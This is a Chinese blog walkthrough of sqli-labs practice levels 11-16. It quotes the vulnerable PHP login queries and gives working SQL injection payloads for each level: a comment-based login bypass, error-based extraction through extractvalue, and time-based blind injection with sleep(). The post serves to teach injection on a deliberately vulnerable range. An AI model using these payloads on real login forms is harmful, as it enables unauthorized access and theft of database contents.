zoukankan      html  css  js  c++  java
  • 靶场练习-Sqli-labs通关记录(post型)(11-16关)

    0x00 实验环境

    本地:Win 10

    靶场:sqli-labs(共65关,每日一关)

    0x02 通关记录

    简介:一天一关!

    (11)第十一关:

    首先看到是个登录框,就平常的超级多的登录页面,我们从来没有思考过它会不会存在注入

    再看看源码,这句话的意思是在数据库中查询userpassword,就正常的登录,查到账号密码就登录成功的那种:

        // connectivity 
        @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
        $result=mysql_query($sql);
        $row = mysql_fetch_array($result);

     是存在admin/admin这个账号及密码的,那如果我们不知道密码,闭合了账号后面的密码,就能成功的无需密码进行登录了,从源码可以知道直接输入admin'#,就能闭合这句话,无需密码就可以登录成功,试试看:

     同样登录成功:

     就可以初步判定这里存在注入,当然,其实从报错也不难发现,输入 admin' and or 1# 这本来就是一句语法错误的查询:

     然后我们可以开始手工注入查询语句:

    admin' order by 3#

     然后order by 2 ,发现回显正常:

     判定只有2列,然后依次查询,因为这个都是直接查询成功的,不会回显结果,所以试试报错查询:

    admin' union select 1,2#
    admin' union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#

     然后之后的大家都懂的!

    (12)第十二关:

    第12关与第11关唯一区别就是在用户那里添加了一个")

        // connectivity
        $uname='"'.$uname.'"';
        $passwd='"'.$passwd.'"'; 
        @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
        $result=mysql_query($sql);
        $row = mysql_fetch_array($result);

    因此闭合语句变成:

    admin") union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#

    (13)第十三关:

    同理,13关的也是仅仅是变了个')

        // connectivity 
        @$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
        $result=mysql_query($sql);
        $row = mysql_fetch_array($result);
    admin') union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#

    (14)第十四关:

    // connectivity
        $uname='"'.$uname.'"';
        $passwd='"'.$passwd.'"'; 
        @$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
        $result=mysql_query($sql);
        $row = mysql_fetch_array($result);

    这个也是一样的,仅仅是多了一个"

    因此闭合语句为:

    admin" union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#

    (15)第十五关:

    第15关一样的,就是闭合语句的问题,这一关居然没报错了,那就试试延时注入

    // connectivity 
        @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
        $result=mysql_query($sql);
        $row = mysql_fetch_array($result);
    admin' union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#
    admin' and If(ascii(substr(database(),1,1))=111,1,sleep(7))#

    错的数据库ascii码会有11秒,正确的应该是会有4秒

     发现结果确实如此!

    (16)第十六关:

    // connectivity
        $uname='"'.$uname.'"';
        $passwd='"'.$passwd.'"'; 
        @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
        $result=mysql_query($sql);
        $row = mysql_fetch_array($result);

    使用的")进行拼接,千万别看漏了!!!其实还是可以尝试延时注入,主要是报错不知道回显不回显。尝试后发现并不回显,因此试试延时注入:

    admin") union select extractvalue(1,concat(0x7e,(select user()),0x7e)),1#

    admin") and If(ascii(substr(database(),1,1))=111,1,sleep(7))#

    admin") and if(ascii(substr(database(),1,1))=115,1,sleep(7))#

  • 相关阅读:
    附上我的Github源码
    Java Automic包下的AtomicInteger
    思维题:四个小伙伴过桥问题
    TCP的三次握手过程?为什么会采用三次握手,若采用二次握手可以吗
    输入www.baidu.com会发生什么
    外网IP和内网IP区别
    Queue接口分析:add和offer区别,remove和poll方法到底啥区别
    手工创建一个线程池
    volatile关键字
    牛客网 买手串
  • 原文地址:https://www.cnblogs.com/cute-puli/p/15503865.html
Copyright © 2011-2022 走看看